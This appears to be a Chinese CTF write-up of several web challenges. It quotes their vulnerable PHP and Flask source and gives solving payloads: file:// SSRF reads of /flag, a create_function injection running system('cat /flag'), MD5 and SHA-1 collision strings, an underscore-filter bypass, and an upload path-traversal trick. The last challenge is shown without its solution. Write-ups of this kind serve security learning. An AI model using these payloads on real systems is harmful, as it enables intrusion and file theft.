easyssrf ssrf(服务端请求伪造(Server Side Request Forgery, SSRF)) 输入框里输入curl -vvv 'file///flag'
都说了这里看不了flag。。但是可以看看提示文件:/fl4g
curl -vvv 'file//fl4g
害羞羞,试试其他路径?
看wp得知应用file:///fl4g
file:///fl4g 的快照如下:你应该看看除了index.php,是不是还有个ha1x1ux1u.php
/ha1x1ux1u.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__); error_reporting(0); $file = $_GET ["file" ];if (stristr($file , "file" )){ die("你败了." ); } //flag in /flag echo file_get_contents($file );
?file=/flag
NSSCTF{cef59882-2ae3-466d-a96c-c718d57672af}
checkin $_GET[......Ugeiwo......cuishiyuan]=$_GET[E2 80 AE E2 81 A6 55 67 65 69 77 6F E2 81 A9 E2 81 A6 63 75 69 73 68 69 79 75 61 6E]
"...... Flag!......N1SACTF"="E2 80 AE E2 81 A6 20 46 6C 61 67 21 E2 81 A9 E2 81 A6 4E 31 53 41 43 54 46"
level-up 网页源码无从下手,先扫一下,获得/level_2_1s_h3re.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php //here is level 2 error_reporting(0); include "str.php" ; if (isset($_POST ['array1' ]) && isset($_POST ['array2' ])){ $a1 = (string)$_POST ['array1' ]; $a2 = (string)$_POST ['array2' ]; if ($a1 == $a2 ){ die("????" ); } if (md5($a1 ) === md5($a2 )){ echo $level3 ; } else { die("level 2 failed ..." ); } } else { show_source(__FILE__); } ?>
强比较===
会先判断字符类型是否相等然后再比较 利用fastcoll
进行MD5碰撞 array1=%61%62%63%61%62%63%61%62%63%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%13%5A%EF%79%15%E3%71%AB%76%B5%D9%B2%1F%D2%BF%39%2F%4F%0A%57%78%8C%FB%2A%39%3E%41%FA%AA%2B%B4%00%87%FC%F6%D2%FC%03%DA%87%4B%46%DF%B3%F1%95%D4%7D%43%AC%5F%F9%8D%C1%3C%5F%F8%62%6D%99%8A%8B%8C%DF%F5%BF%E4%47%84%09%97%DA%2D%FA%94%8D%19%1B%30%14%35%B5%E4%25%31%A4%F6%2C%0E%25%EB%96%D1%37%DD%8D%BD%FF%F9%E1%27%B3%41%25%4E%A6%D1%A9%A1%C8%71%3C%C6%58%0E%21%93%D2%63%D5%E9%6A%92%DA%39%EC%08%F6
& array2=%61%62%63%61%62%63%61%62%63%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%13%5A%EF%79%15%E3%71%AB%76%B5%D9%B2%1F%D2%BF%39%2F%4F%0A%D7%78%8C%FB%2A%39%3E%41%FA%AA%2B%B4%00%87%FC%F6%D2%FC%03%DA%87%4B%46%DF%B3%F1%15%D5%7D%43%AC%5F%F9%8D%C1%3C%5F%F8%62%6D%19%8A%8B%8C%DF%F5%BF%E4%47%84%09%97%DA%2D%FA%94%8D%19%1B%30%14%35%B5%E4%A5%31%A4%F6%2C%0E%25%EB%96%D1%37%DD%8D%BD%FF%F9%E1%27%B3%41%25%4E%A6%D1%A9%A1%48%71%3C%C6%58%0E%21%93%D2%63%D5%E9%6A%92%5A%39%EC%08%F6
一直显示level 2 failed ...
就算用其他人wp的也是这样😿😿😿 /在bp里面发送成功了,获得Level___3.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php //here is level 3 error_reporting(0); include "str.php" ; if (isset($_POST ['array1' ]) && isset($_POST ['array2' ])){ $a1 = (string)$_POST ['array1' ]; $a2 = (string)$_POST ['array2' ]; if ($a1 == $a2 ){ die("????" ); } if (sha1($a1 ) === sha1($a2 )){ echo $level4 ; } else { die("level 3 failed ..." ); } } else { show_source(__FILE__); } ?>
sha1()
用到sha1碰撞 获得level_level_4.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php //here is last level error_reporting(0); include "str.php" ; show_source(__FILE__); $str = parse_url($_SERVER ['REQUEST_URI' ]); if ($str ['query' ] == "" ){ echo "give me a parameter" ; } if (preg_match('/ |_|20|5f|2e|\./' ,$str ['query' ])){ die("blacklist here" ); } if ($_GET ['NI_SA_' ] === "txw4ever" ){ die($level5 ); } else { die("level 4 failed ..." ); } ?> give me a parameterlevel 4 failed ...
/?NI_SA_=txw4ever
但是_ %5f
会被过滤掉?NI+SA+=txw4ever
55_5_55.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php //sorry , here is true last level //^_^ error_reporting(0); include "str.php" ; $a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match('/^[a-z0-9_]*$/isD' ,$a )){ show_source(__FILE__); } else { $a ('' ,$b ); }
create_function?a=\create_function&b=;}system('cat /flag')//
NSSCTF{7ceb97ee-703b-424b-8ce1-09017b0082f1}
顺便记录一下网上找到的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf% $a ="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2" ;$b ="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2" ;a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
babyupload 根据提示,访问/source
获得压缩包,得到python文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from flask import Flask, request, redirect, g, send_from_directory import sqlite3 import os import uuid app = Flask(__name__) SCHEMA = "" "CREATE TABLE files ( id text primary key, path text ); " "" def db(): g_db = getattr(g, '_database' , None) if g_db is None: g_db = g._database = sqlite3.connect("database.db" ) return g_db @app.before_first_request def setup(): os.remove("database.db" ) cur = db().cursor() cur.executescript(SCHEMA) @app.route('/' ) def hello_world(): return "" "<!DOCTYPE html> <html> <body> <form action=" /upload" method=" post" enctype=" multipart/form-data"> Select image to upload: <input type=" file" name=" file"> <input type=" submit" value=" Upload File" name=" submit"> </form> <!-- /source --> </body> </html>" "" @app.route('/source' ) def source (): return send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True) @app.route('/upload' , methods=['POST' ]) def upload(): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try: cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid) @app.route('/file/<id>' ) def file(id ): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?" , (id ,)) res = cur.fetchone() if res is None: return "File not found" , 404 with open(os.path.join("uploads/" , res[0]), "r" ) as f: return f.read() if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @app.route('/upload' , methods=['POST' ]) def upload(): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try: cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid)
if "." in file.filename: return "Bad filename!", 403
会过滤文件名含.
的 在bp里面把上传的文件名修改成/flag
然后放行就好了NSSCTF{7f3157de-0fd5-4fca-8cf0-ce3b4cf519ea}
middlerce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include "check.php" ; if (isset($_REQUEST ['letter' ])){ $txw4ever = $_REQUEST ['letter' ]; if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m' ,$txw4ever )){ die("再加把油喔" ); } else { $command = json_decode($txw4ever ,true )['cmd' ]; checkdata($command ); @eval ($command ); } } else { highlight_file(__FILE__); } ?>
bingdundun~